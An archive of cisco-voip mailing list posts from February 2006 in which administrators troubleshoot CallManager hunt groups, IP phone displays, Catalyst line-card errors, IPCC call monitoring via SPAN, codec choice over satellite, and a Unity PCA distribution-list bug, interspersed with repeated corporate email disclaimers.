replying to or any action taken or omitted to be taken in reliance on  
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immediately
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You accept that any instructions are deemed to have been given at the  
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that there
may be a delay in processing the instructions received from e-mails  
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Charles Stanley has received them. You are advised that urgent, time  
sensitive
and confidential communications should not be sent by e-mail.

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************

************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of  
Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member  
of the
London Stock Exchange, International Securities Markets Association,  
and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by  
McAfee
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_______________________________________________
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***********************************************************************************************

The information contained in this e-mail is strictly confidential, some or all
of which may be legally privileged. It is for the intended recipient only.
Access to this e-mail by any other person is prohibited. If you are not the
intended recipient, any use, disclosure, copying, printing, distribution of,
replying to or any action taken or omitted to be taken in reliance on this
e-mail, is prohibited and may be unlawful. Please contact the sender immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept that there
may be a delay in processing the instructions received from e-mails after
Charles Stanley has received them. You are advised that urgent, time sensitive
and confidential communications should not be sent by e-mail. 

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
London Stock Exchange, International Securities Markets Association, and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by McAfee
VirusScan and SurfControl Email Filter software.



From rratliff at cisco.com  Fri Feb 24 09:35:07 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Fri Feb 24 09:35:02 2006
Subject: [cisco-voip] Attendant console & shared lines
In-Reply-To: <253FAE7A06B11B49A3A29770B2B8BAFC64825C@CSEXCH01.charles-stanley.co.uk>
References: <253FAE7A06B11B49A3A29770B2B8BAFC64825C@CSEXCH01.charles-stanley.co.uk>
Message-ID: <0C647EC2-E747-4621-B654-27176671B0EC@cisco.com>

In your CM hunt list have Unity as a second line group what an  
appropriate CFNA reversion timer.  You may want to send your AC hunt  
list to a CTI RP that is CFA to the CM hunt pilot just to give Unity  
a deterministic number to route off of but some experimentation  
should show you what is necessary.

You can also get fancy and use time of day routing to have the call  
hit a xlate pattern during certain hours that sends it to Unity but  
the CM hunt pilot otherwise.

-Ryan

On Feb 24, 2006, at 9:09 AM, Nick Kassel wrote:

Thanks Ryan that seems like a good idea but how do I set this number to
forward to a voicemail box out of hours?

-----Original Message-----
From: Ryan Ratliff [mailto:rratliff at cisco.com]
Sent: Friday, February 24, 2006 1:39 PM
To: Nick Kassel
Cc: Wes Sisk; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Attendant console & shared lines

Try setting up an AC hunt group that has a CM broadcast hunt group as
the last member.
So it could look something like the following:
Receptionist Line 1
Receptionist Line 2
Receptionist Line 3
dn 1111

Where dn 1111 is a CM hunt pilot that points to a broadcast hunt
list.  Make the AC pilot hunt top down and giver the receptionist
enough lines so that she is never busy on all of them.

-Ryan

On Feb 24, 2006, at 8:30 AM, Nick Kassel wrote:

Wes,


I have now tested shared lines as we want and they will not work for
us, what I would like to do is have all calls go to the receptionist
and be answered by her unless she is physically not there and then by
logging off the calls should route to ring on all the other phones at
the same time, the shared lines did ring on all phones but only one
call at a time can be taken on that number which is no good, this
also applies to the receptionist lines. Is there any way I can do
this with the hunt groups, for example have all calls go to the
receptionist first and then have the rest of the members as a
broadcast group?


Nick


From: Wes Sisk [mailto:wsisk at cisco.com]
Sent: Wednesday, February 22, 2006 4:34 PM
To: Nick Kassel
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Attendant console & shared lines


how often do you expect to be in SRST?  that should be the exception
and not the rule.

Nick Kassel wrote:

Forgot to mention we are using CM 4.1(3)SR1  -----Original
Message-----From: Nick Kassel Sent: Wednesday, February 22, 2006 3:44
PMTo: 'Wes Sisk'Subject: RE: [cisco-voip] Attendant console & shared
lines Wes We would like to use the attendant console for one of our
branchoffices, they have a receptionist who sits on her own and then
all theother staff in one open room, the reason we would like to use
a sharedline in the hunt group is so if she is busy or unavailable
the callswill go through to the main room and ring on all the phones
so anyonecan answer it. The shared line would sit as the second DN in
the huntgroup. Also in SRST for our main line coming in the only way
we can getall the phones to ring at the same time would be to have
shared lines.We did look at broadcast hunt groups for our main
numbers but due to theSRST issue and also the problem of not being
able to set up a unitymailbox for the main line decided not to go
with them. Nick    -----Original Message-----From: Wes Sisk
[mailto:wsisk at cisco.com] Sent: Wednesday, February 22, 2006 2:30
PMTo: Nick KasselCc: cisco-voip at puck.nether.netSubject: Re: [cisco-
voip] Attendant console & shared lines it depends on where you use
the shared line and what version of CM you are on. we say DO NOT DO
IT because CTI control of shared lines does not work well.  There are
several call flows and state transitions that do not work and cause
the CTI application (TCD in this case) to becomeconfused. AC client
itself in older version of CM would allow you to attempt to control a
shared line and that appeared to work until you hit one of the
untested state transitions. The the client went Later versions of
ACClient will not even allow you to open/control a shared line for
this reason. It's just not a good idea to use ACClient to attempt to
control a shared line. A shared line can exist in a huntgroup with
some mixed results, but why? Why not just use a broadcast huntgroup? /
Wes Nick Kassel wrote:
> I know in the documentation is says that you must not use shared lines

> with the attendant console but I have been told by someone that
> this can be done, I would like to use 1 shared line in the hunt
> group, has anyone tried this before and does it work?
************************************************************************

***********************
> The information contained in this e-mail is strictly confidential,
some or all
> of which may be legally privileged. It is for the intended recipient
only.
> Access to this e-mail by any other person is prohibited. If you are
not the
> intended recipient, any use, disclosure, copying, printing,
distribution of,
> replying to or any action taken or omitted to be taken in reliance on
this
> e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
> should this e-mail have been incorrectly addressed or transmitted.
> You accept that any instructions are deemed to have been given at the
time the
> recipient(s) accesses them and that delivery receipt does not
constitute
> acknowledgement or receipt by the intended recipient(s). You accept
that there
> may be a delay in processing the instructions received from e-mails
after
> Charles Stanley has received them. You are advised that urgent, time
sensitive
> and confidential communications should not be sent by e-mail.  You
> acknowledge that e-mails are not secure and you accept the risk
> ofmalfunction, viruses, unauthorised interference, mis-delivery or
delay.
************************************************************************

************************
>  Charles Stanley & Co. LtdRegistered Office: 25 Luke Street London
> EC2A 4AR Tel: 0207 739 8200 Fax: 0207 739 7798Registered in England
> No. 1903304 Charles Stanley Sutherlands and Tozer Wingate are
> divisions of Charles
Stanley & Co. Ltd
> Authorised and Regulated by the Financial Services Authority, Member
of the
> London Stock Exchange, International Securities Markets Association,
and The London International Financial Futures &
> Options Exchange. This footnote also confirms that this email
> message has been swept by
McAfee
> VirusScan and SurfControl Email Filter software.
------------------------------------------------------------------------
> _______________________________________________cisco-voip mailing
> listcisco-voip at puck.nether.nethttps://puck.nether.net/mailman/
> listinfo/cisco-voip



************************************************************************

***********************

The information contained in this e-mail is strictly confidential,
some or all
of which may be legally privileged. It is for the intended recipient
only.
Access to this e-mail by any other person is prohibited. If you are
not the
intended recipient, any use, disclosure, copying, printing,
distribution of,
replying to or any action taken or omitted to be taken in reliance on
this
e-mail, is prohibited and may be unlawful. Please contact the sender
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept
that there
may be a delay in processing the instructions received from e-mails
after
Charles Stanley has received them. You are advised that urgent, time
sensitive
and confidential communications should not be sent by e-mail.

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************

************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of
Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member
of the
London Stock Exchange, International Securities Markets Association,
and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by
McAfee
VirusScan and SurfControl Email Filter software.
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip

************************************************************************ 
***********************

The information contained in this e-mail is strictly confidential,  
some or all
of which may be legally privileged. It is for the intended recipient  
only.
Access to this e-mail by any other person is prohibited. If you are  
not the
intended recipient, any use, disclosure, copying, printing,  
distribution of,
replying to or any action taken or omitted to be taken in reliance on  
this
e-mail, is prohibited and may be unlawful. Please contact the sender  
immediately
should this e-mail have been incorrectly addressed or transmitted.

You accept that any instructions are deemed to have been given at the  
time the
recipient(s) accesses them and that delivery receipt does not constitute
acknowledgement or receipt by the intended recipient(s). You accept  
that there
may be a delay in processing the instructions received from e-mails  
after
Charles Stanley has received them. You are advised that urgent, time  
sensitive
and confidential communications should not be sent by e-mail.

You acknowledge that e-mails are not secure and you accept the risk of
malfunction, viruses, unauthorised interference, mis-delivery or delay.
************************************************************************ 
************************


Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of  
Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member  
of the
London Stock Exchange, International Securities Markets Association,  
and The London International Financial Futures &
Options Exchange.

This footnote also confirms that this email message has been swept by  
McAfee
VirusScan and SurfControl Email Filter software.



From kthorngr at cisco.com  Fri Feb 24 10:12:17 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Fri Feb 24 10:12:05 2006
Subject: [cisco-voip] 7970 phone display
In-Reply-To: <000a01c638ed$77b17140$0f0110ac@corporation2>
References: <000a01c638ed$77b17140$0f0110ac@corporation2>
Message-ID: <5e7027af9e0ccec9586ff02606914279@cisco.com>

The number displayed on the top line of the phone, 7970 or otherwise, 
is controlled by the External Phone Number Mask of Line 1 for that 
particular phone.  The External Phone Number Mask supports the 
following characters: 0-9, * and #

You can set this to * and have the phone display a * instead of the 
number.  Depending on your configuration this change could affect 
caller id display and AAR.

AFAIK there are no options to change the "Your current options".

Kevin
On Feb 23, 2006, at 9:53 PM, Bob A. Bowie wrote:

> Is there a way to remove the phone number from the top line of the IP
> 7970 Phone display?in Cisco CM 4.1.3?
> ?
> Also, can you change the "Your current options" text on the bottom 
> line??_______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip



From voipermike at gmail.com  Fri Feb 24 13:35:37 2006
From: voipermike at gmail.com (Mike Mike)
Date: Fri Feb 24 13:35:41 2006
Subject: [cisco-voip] Pinnacle #0 PB parity error
Message-ID: <8bbfc1f40602241035y7d355687l86edda4e74f0ac7@mail.gmail.com>

Anyone know what this error means from a 6513 log:

%PM_SCP-SP-6-LCP_FW_ERR_INFORM: Module 4 is experiencing the following
error: Pinnacle #0 PB parity error. TX path. Status=0x0002

The module is a WS-X6148-RJ45V and was replaced.  The error is now gone but
not sure if a reboot wouldn't have cleared the error.

Can't seem to find this on cisco.com.

Thanks
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From jonvoip at gmail.com  Fri Feb 24 13:52:08 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Fri Feb 24 13:52:12 2006
Subject: [cisco-voip] IPCC VoIP Monitor
In-Reply-To: <20060224133742.97904.qmail@web34312.mail.mud.yahoo.com>
References: <20060223164441.57275.qmail@web37304.mail.mud.yahoo.com>
	<20060224133742.97904.qmail@web34312.mail.mud.yahoo.com>
Message-ID: <5d093f9a0602241052y320ad9e1w11f8e39e5ca86d8@mail.gmail.com>

While the agent issue is probably correct, as far as the recording is
concerned, it is just grabbing the RTP stream, so the IPC should work as
normal...

You just need to span the port to the monitoring port... but you will prob
need to trunk them to the server...


J

On 2/24/06, Erick Bergquist <erickbe at yahoo.com> wrote:
>
> IP Communicator is not supported for agents until IPCC
> Express/CRS 4.01 at least per the compatibility
> matrix.
>
> Softphone 1.3(3) is supported per matrix in your
> version.
>
> I am not sure about monitoring on softphone agents or
> if there is any issues or restrictions offhand.
>
>
> http://www.cisco.com/univercd/cc/td/doc/product/voice/sw_ap_to/crscomtx.pdf
>
>
> --- Brain Whistler <brainwhistler at yahoo.com> wrote:
>
> > Thanks
> >
> > I see an error in Application LOG, i.e. " SS1002
> > Failed to setup monitor. Exiting"
> >
> > I have already completed the workaround as described
> > in the guide
> >
> >
>
> http://www.cisco.com/en/US/products/sw/custcosw/ps1846/products_tech_note09186a00801ee853.shtml
> >
> > But the error still coming..... Any help ???
> >
> > Brain
> >
> > --- Jonathan Charles <jonvoip at gmail.com> wrote:
> >
> > > Sure, why not.
> > >
> > > However.
> > >
> > > You will need to SPAN those ports to the IPCC
> > > monitor port.
> > >
> > >
> > >
> > > J
> > >
> > > On 2/23/06, Brain Whistler
> > <brainwhistler at yahoo.com>
> > > wrote:
> > > >
> > > > I have Cisco IP Softphones at the Agents and
> > > > Supervisor Desktop.
> > > >
> > > > Does call recording and silent monitor is
> > > supported on
> > > > IP Softphones or IP Communicator???
> > > >
> > > > Brain
> > > >
> > > > --- Erick Bergquist <erickbe at yahoo.com> wrote:
> > > >
> > > > > I recall this list or theres another list for
> > > IPCC
> > > > > Express 4.x that add endpoint monitoring from
> > > users
> > > > > desktop. Before IPCC Express 4.x all
> > monitoring
> > > > > needed
> > > > > a span port on a switch, etc but that changed
> > in
> > > > > IPCC
> > > > > Express 4.x and now theres the span port
> > method
> > > as
> > > > > well as endpoint monitoring.
> > > > >
> > > > > --- Jordy Leung <jordyl at yahoo.com> wrote:
> > > > >
> > > > > > Also, not sure for IPCC Express, For IPCC
> > > > > > Enterprise, there is list of NIC
> > > > > > which will be supported by IPCC.  You need
> > to
> > > > > check
> > > > > > if your agents' and
> > > > > > supervisors' PC are installed compliable NIC
> > > for
> > > > > > silient monitoring.
> > > > > >
> > > > > >
> > > > >
> > > >
> > > >
> > >
> >
>
> http://www.cisco.com/en/US/products/sw/custcosw/ps1844/products_tech_note09186a00801f42f9.shtml
> > > > > >
> > > > > > See if it helps you!
> > > > > >
> > > > > > --- "Voll, Scott" <Scott.Voll at wesd.org>
> > wrote:
> > > > > >
> > > > > > > And VGW.
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > ________________________________
> > > > > > >
> > > > > > > From: cisco-voip-bounces at puck.nether.net
> > > > > > >
> > [mailto:cisco-voip-bounces at puck.nether.net]
> > > On
> > > > > > Behalf Of Jonathan
> > > > > > > Charles
> > > > > > > Sent: Tuesday, February 21, 2006 7:39 AM
> > > > > > > To: Brain Whistler
> > > > > > > Cc: Cisco Voip
> > > > > > > Subject: Re: [cisco-voip] IPCC VoIP
> > Monitor
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > The files are 0K right?
> > > > > > >
> > > > > > > That's because IPCC sees the call, it just
> > > isn't
> > > > > > getting data.
> > > > > > >
> > > > > > > You need to span all of your agents ports
> > to
> > > the
> > > > > > monitor port:
> > > > > > >
> > > > > > > monitor session 1 source | destination...
> > > blah
> > > > > > blah
> > > > > > >
> > > > > > > Make sure you include ALL the agent and
> > > > > supervisor
> > > > > > ports.
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > Jonathan
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > On 2/21/06, Brain Whistler <
> > > > > > brainwhistler at yahoo.com
> > > > > > > <mailto:brainwhistler at yahoo.com> > wrote:
> > > > > > >
> > > > > > > Hi,
> > > > > > >
> > > > > > > I am running Cisco IPCC Express 3.5.(2)
> > > Enhanced
> > > > >
> > > > > > > edition for contact centre with CCM
> > 4.0.(1).
> > > > > This
> > > > > > is
> > > > > > > installed on Dedicated machine where CRA
> > > Server,
> > > > > > VoIP
> > > > > > > Monitor and Historical Reporting is
> > > co-resident.
> > > > > I
> > > > > > > have configured two nic cards as described
> > > in
> > > > > > > Administration guides.
> > > > > > >
> > > > > > > Everything is working fine but when is the
> > > > > > Supervisor
> > > > > > > goes for call recording or Silient Monitor
> > > is
> > > > > > doesn't
> > > > > > > work, although I can see a file created of
> > > the
> > > > > > > recording of 46 bytes in the folder
> > > > > > >
> > > > > > > c:\program
> > > > > files\cisco\Desktop_config\Audiofiles\,
> > > > > > but
> > > > > > > nothing more than that.
> > > > > > >
> > > > > > > Note that I have already configured the
> > > switch
> > > > > for
> > > > > > > SPAN. I have verified my configuration
> > with
> > > IRIS
> > > > > > > sniffer, it is working perfectly and
> > > capturing
> > > > > RTP
> > > > > > > packets but cannot get this successful on
> > > IPCC
> > > > > > VoIP
> > > > > > > Monitor.
> > > > > > >
> > > > > > > Can anyone help me in it, where I am
> > > failing, or
> > > > > > does
> > > > > > > VoIP Monitor server need to be configured
> > > from
> > > > > > which
> > > > > > > NIC to capture RTP packets.
> > > > > > >
> > > > > > > Thanks
> > > > > > > Brain
> > > > > > >
> > > > > > >
> > > > > > >
> > > > >
> > > __________________________________________________
> > > > > >
> > > > > > > Do You Yahoo!?
> > > > > > > Tired of spam?  Yahoo! Mail has the best
> > > spam
> > > > > > protection around
> > > > > > > http://mail.yahoo.com
> > > > > > >
> > > _______________________________________________
> > > > > > > cisco-voip mailing list
> > > > > > > cisco-voip at puck.nether.net
> > > > > > >
> > > > > >
> > > > >
> > >
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > >
> > > > >
> > _______________________________________________
> > > > > > > cisco-voip mailing list
> > > > > > > cisco-voip at puck.nether.net
> > > > > > >
> > > > > >
> > > > >
> > >
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> > > > > > >
> > > > > >
> > > > > >
> > > > > > Jordy Leung
> > > > > >
> > > > > >
> > > __________________________________________________
> > > > > > Do You Yahoo!?
> > > > > > Tired of spam?  Yahoo! Mail has the best
> > spam
> > > > > > protection around
> > > > > > http://mail.yahoo.com
> > >
> > === message truncated ===
> >
> >
> > __________________________________________________
> > Do You Yahoo!?
> > Tired of spam?  Yahoo! Mail has the best spam
> > protection around
> > http://mail.yahoo.com
> >
>
>
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam protection around
> http://mail.yahoo.com
>
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From candace_holman at harvard.edu  Fri Feb 24 14:02:15 2006
From: candace_holman at harvard.edu (Candace Holman)
Date: Fri Feb 24 14:02:23 2006
Subject: [cisco-voip] Cisco discovers resellers dealing in fake stock
Message-ID: <43FF5837.4070505@harvard.edu>

Read this before you begin weighing the tradeoffs of buying Cisco 
equipment from a dealer with prices too good to be true:
http://www.cw360.com/Articles/2006/02/07/214067/Ciscodiscoversresellersdealinginfakestock.htm

Candace



From kthorngr at cisco.com  Fri Feb 24 14:09:24 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Fri Feb 24 14:09:11 2006
Subject: [cisco-voip] Pinnacle #0 PB parity error
In-Reply-To: <8bbfc1f40602241035y7d355687l86edda4e74f0ac7@mail.gmail.com>
References: <8bbfc1f40602241035y7d355687l86edda4e74f0ac7@mail.gmail.com>
Message-ID: <dd363ecb0db7d2aea897c2615d7a1b34@cisco.com>

I am no cat6k expert.  I would recommend opening a TAC case to 
determine if this module has a hardware issue and to get it replaced it 
if does.

Kevin
On Feb 24, 2006, at 1:35 PM, Mike Mike wrote:

> Anyone know what this error means from a 6513 log:
>
> %PM_SCP-SP-6-LCP_FW_ERR_INFORM: Module 4 is experiencing the following 
> error: Pinnacle #0 PB parity error. TX path. Status=0x0002
>
> The module is a WS-X6148-RJ45V and was replaced.? The error is now 
> gone but not sure if a reboot wouldn't have cleared the error.
>
> Can't seem to find this on cisco.com.
>
> Thanks
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip



From Henry.Lum at newstep.com  Fri Feb 24 14:26:08 2006
From: Henry.Lum at newstep.com (Henry Lum)
Date: Fri Feb 24 14:24:17 2006
Subject: [cisco-voip] Caller's display changed when dial through route
	point/route pattern
Message-ID: <E9024CA51D9D8042AED3FA8DC77B1241E0F20F@mail1.newstep.com>

I notice that when my 7960 IP phone dials through a route point or route
pattern on that modifies the called party number, the display on the
caller's device will change accordingly. Is there a way to suppress this
change and keep the original dialled number on the caller's display?

 

I am running CCM 4.1(2).

 

Thanks

Henry

 

henry lum | product development | newstep networks | 416.979.5404 x230 |
henry.lum at newstep.com <mailto:henry.lum at newstep.com> 

 

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From jgrace at digitelusa.net  Fri Feb 24 14:18:46 2006
From: jgrace at digitelusa.net (James Grace)
Date: Fri Feb 24 14:26:17 2006
Subject: [cisco-voip] 7914 key exp module 
Message-ID: <200602241425656.SM01568@3729434770>

Has anybody had exp with configuring a 7914 exp module for 7960  on a
callmanager express   if so can you please send me an example 

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From kthorngr at cisco.com  Fri Feb 24 14:35:53 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Fri Feb 24 14:35:41 2006
Subject: [cisco-voip] SRST with CME
In-Reply-To: <5d093f9a0602231205x1e7f0a99v8077b79cc0af879b@mail.gmail.com>
References: <5d093f9a0602231205x1e7f0a99v8077b79cc0af879b@mail.gmail.com>
Message-ID: <788bf63819067d47e9062bb86165ad89@cisco.com>

 From my understanding, I haven't tried this myself, you can configure a 
separate router to act as an SRST router for CME phones.  You do this 
by assigning the IP Address of the SRST router as the default gateway 
for your phones.  So, when the phones loose the SCCP KeepAlives with 
the CME router they will register to SRST via the default gateway.

Kevin
On Feb 23, 2006, at 3:05 PM, Jonathan Charles wrote:

> So, we were poking around the bugIDs at Cisco and one of them cited a 
> bug where on CME, the phone would fail to fail-over...
>
> I am curious, is it even possible to set up SRST (on a second gateway) 
> with CME?
>
>
>
> Jonathan
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip


From Eric.A.Fretz at L-3com.com  Fri Feb 24 14:37:36 2006
From: Eric.A.Fretz at L-3com.com (Fretz, EA Eric @ IS)
Date: Fri Feb 24 14:37:52 2006
Subject: :[cisco-voip] Cisco phone protocol satellite
Message-ID: <51A2C3ED40A3584281444F65BC9026270A8846D2@gvlexch02.gvl.is.l-3com.com>

The codec itself is not as important as the sample period of the codec.  All
things being equal, if G.711 sounds better than G.729 over a LAN, the same
will be true over satellite, just more delay.  
 
The best thing you can do is try to increase the sample size so more of your
data is payload and not Layer2/Layer3 headers.  Simply increasing your
sample rate from 30ms to 60ms cuts your packetization rate in half, which
will in turn, reduce the amount of bandwidth required to maintain the RTP
stream.  It also depends on the type of satellite technology you are using.
If you are going up over Inmarsat, and you are getting a dedicated ISDN 64k
B-channel.  Therefore, your chances of packet loss are far less than some
other packet-switched based systems.   It's all relative.  
 
 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Bob A. Bowie
Sent: Thursday, February 23, 2006 8:57 PM
To: cisco-voip at puck.nether.net
Subject: s::[cisco-voip] Cisco phone protocol satellite


Which protocol, G.711 or G.729 would be best for usage on a satellite
connection with close to
1 second round trip delay.  Would the G.711 be more resilent to lost
packets, when a packet is 
lost I lose more info on the G.729?

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From kthorngr at cisco.com  Fri Feb 24 14:43:08 2006
From: kthorngr at cisco.com (Kevin Thorngren)
Date: Fri Feb 24 14:42:57 2006
Subject: [cisco-voip] 7914 key exp module 
In-Reply-To: <200602241425656.SM01568@3729434770>
References: <200602241425656.SM01568@3729434770>
Message-ID: <9a6adb3a400a8981c39764edc0e324c7@cisco.com>

Other than using "type 7960 addon 1 7914" under the ephone 
configuration and assigning the appropriate buttons - what other 
questions do you have?

Kevin
On Feb 24, 2006, at 2:18 PM, James Grace wrote:

> Has anybody had exp with configuring a 7914 exp module for 7960? on a 
> callmanager express ??if so can you please send me an example
> ?
> James D. Grace
> CCNP CCNA MCSE MCDBA
> Sr. System Engineer / Professional Svc.
> Digitel Corporation
> ?
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
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From bcarter at sentinel.com  Fri Feb 24 15:24:11 2006
From: bcarter at sentinel.com (Carter, Bill)
Date: Fri Feb 24 15:26:34 2006
Subject: [cisco-voip] Pinnacle #0 PB parity error
Message-ID: <6A0744639B86DD459433108DBF101D26E16CD4@MAIL01.sentinel.com>

I have seen this before.  Either the line card wasn't fully inserted or the chassis was dieing.  Can't remember which, kind of a big difference eh!? 

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Kevin Thorngren
Sent: Friday, February 24, 2006 1:09 PM
To: Mike Mike
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Pinnacle #0 PB parity error

I am no cat6k expert.  I would recommend opening a TAC case to determine if this module has a hardware issue and to get it replaced it if does.

Kevin
On Feb 24, 2006, at 1:35 PM, Mike Mike wrote:

> Anyone know what this error means from a 6513 log:
>
> %PM_SCP-SP-6-LCP_FW_ERR_INFORM: Module 4 is experiencing the following
> error: Pinnacle #0 PB parity error. TX path. Status=0x0002
>
> The module is a WS-X6148-RJ45V and was replaced.? The error is now 
> gone but not sure if a reboot wouldn't have cleared the error.
>
> Can't seem to find this on cisco.com.
>
> Thanks
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From jsteinberg at gmail.com  Fri Feb 24 15:50:20 2006
From: jsteinberg at gmail.com (Justin Steinberg)
Date: Fri Feb 24 15:50:23 2006
Subject: [cisco-voip] Caller's display changed when dial through route
	point/route pattern
In-Reply-To: <E9024CA51D9D8042AED3FA8DC77B1241E0F20F@mail1.newstep.com>
References: <E9024CA51D9D8042AED3FA8DC77B1241E0F20F@mail1.newstep.com>
Message-ID: <f1b65f880602241250s5d9d3725n209251f66b690a2a@mail.gmail.com>

Henry,

If you modify the calling party number on the Route List instead of
the Route Pattern the IP phone will not update it's screen.

Justin

On 2/24/06, Henry Lum <Henry.Lum at newstep.com> wrote:
>
>
> I notice that when my 7960 IP phone dials through a route point or route
> pattern on that modifies the called party number, the display on the
> caller's device will change accordingly. Is there a way to suppress this
> change and keep the original dialled number on the caller's display?
>
>
>
> I am running CCM 4.1(2).
>
>
>
> Thanks
>
> Henry
>
>
>
> henry lum | product development | newstep networks | 416.979.5404 x230 |
> henry.lum at newstep.com
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>


From lelio at uoguelph.ca  Fri Feb 24 16:30:51 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Fri Feb 24 16:30:54 2006
Subject: [cisco-voip] Re: Cisco PCA and public distribution lists...
Message-ID: <019a01c63989$95a66290$30196883@cfs.uoguelph.ca>

For those that are interested:

--------------------------------------------------------------------------------

CSCsd21996 Bug Details : CPCA does not enforce public distribution list send restrictions 
 
Symptom: CPCA does not enforce public distribution list send restrictions set in the SA.

Conditions: This likely occurs in all version of Unity since 4.0(1).

Workaround: Exchange has functionality built-in to restrict those allowed to send to a distribution group. For Exchange 2000/2003, open "Active Directory Users and Computers", local the distribution group and select, then click the 'Exchange General' tab. Under the tab there is an option for 'Message restrictions'.

--------------------------------------------------------------------------------

Still have to test it out, but the workaround doesn't prevent the DLs from appearing, but will prevent people from actually sending messages to them. Takes some work to configure each DL though. 
--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
  ----- Original Message ----- 
  From: Lelio Fulgenzi 
  To: cisco-voip at puck.nether.net 
  Sent: Thursday, February 23, 2006 10:56 PM
  Subject: Cisco PCA and public distribution lists...


  We're fooling around with Cisco PCA (http://unity/ciscopca) and I've found a disturbing revelation. In the private lists section, under add new members, distribution lists, we see all the public distribution lists that we have available, even if the Show distribution list in e-mail server address book is unchecked, and I am not a member of the distribution list.

  I can not find anything in the Unity SA pages to prevent this. The CoS has nothing checked. 

  Anyone have any ideas?
  --------------------------------------------------------------------------------
  Lelio Fulgenzi, B.A.
  Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
  (519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
  "I had a coffee and Coke at lunch today...and now, I've got more jitter than an
  IP phone on a long haul 10base2 connection"                                           LFJ
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From wsisk at cisco.com  Fri Feb 24 17:32:44 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Fri Feb 24 17:32:54 2006
Subject: [cisco-voip] Cisco phone protocol satellite
In-Reply-To: <001501c638ed$f41e2a20$0f0110ac@corporation2>
